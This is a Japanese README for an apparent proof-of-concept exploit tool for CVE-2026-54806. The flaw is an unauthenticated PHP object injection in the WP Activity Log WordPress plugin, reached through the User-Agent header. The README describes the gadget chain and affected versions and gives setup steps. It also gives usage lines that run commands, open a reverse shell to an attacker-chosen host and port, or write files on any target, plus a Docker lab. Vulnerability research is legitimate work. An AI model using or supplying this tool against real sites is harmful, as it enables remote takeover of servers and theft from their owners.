CVE-2026-54806の概念実証エクスプロイト: WP Activity Logプラグインの認証されていないPHPオブジェクトインジェクションで、User-Agentヘッダーを介したブラインドRCEを可能にする。脆弱性チェック、コマンド実行、リバースシェル、ファイル書き込み機能と自己完結型Dockerラボを含む。
CVE-2026-54806 は、Melapress 製の WP Activity Log WordPress プラグイン (wp-security-audit-log) における、認証不要の PHP オブジェクトインジェクションの深刻な脆弱性 (CVSS 9.8) です。認証されていない攻撃者は、ログが記録されるイベント（例: ログイン失敗）を引き起こす任意のリクエストの User-Agent ヘッダーを介して、シリアライズされた PHP オブジェクトを注入できます。注入されたペイロードはデータベースに保存され、管理者が WordPress ダッシュボードにアクセスした際に制限なしでデシリアライズされるため、ブラインドリモートコード実行（攻撃者に出力は返されません）につながります。
影響を受けるプラグイン: WP Activity Log <= 5.6.3.1 (5.6.4で修正済み)
RCEに必要な条件: WordPress 6.4.0 - 6.4.1 — このPoCは WP_HTML_Token ガジェットを使用します。これは、全プロパティが public であり、sanitize_text_field() を通過し、255文字のカラム制限に収まる唯一の WP コアチェーンです。
--check による非破壊的な検出--command によるコマンド注入--shell によるリバースシェル注入--write-file によるファイル書き込みgit clone https://github.com/joshuavanderpoll/CVE-2026-54806.git
cd CVE-2026-54806
python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt
git clone https://github.com/joshuavanderpoll/CVE-2026-54806.git
cd CVE-2026-54806
python3 -m venv .venv
.venv\Scripts\activate
pip3 install -r requirements.txt
python3 cve-2026-54806.py -t <target> --check
python3 cve-2026-54806.py -t <target> --command <cmd>
python3 cve-2026-54806.py -t <target> --shell --lhost <ip> --lport <port>
python3 cve-2026-54806.py -t <target> --write-file <content> <path>
WordPress 6.4.1 + WP Activity Log 5.6.3.1 を備えた自己完結型のラボ環境です。 詳細は DOCKER.md を確認してください。
cd docker
docker compose up -d
python3 cve-2026-54806.py -t http://localhost:8080 --check
このラボには60秒ごとにダッシュボードにアクセスする admin-bot が含まれているため、注入された
ペイロードは自動的に実行されます。手動での操作は不要です。
このツールは教育および研究目的でのみ提供されます。作成者は、このツールの誤用または損害について一切の責任を負いません。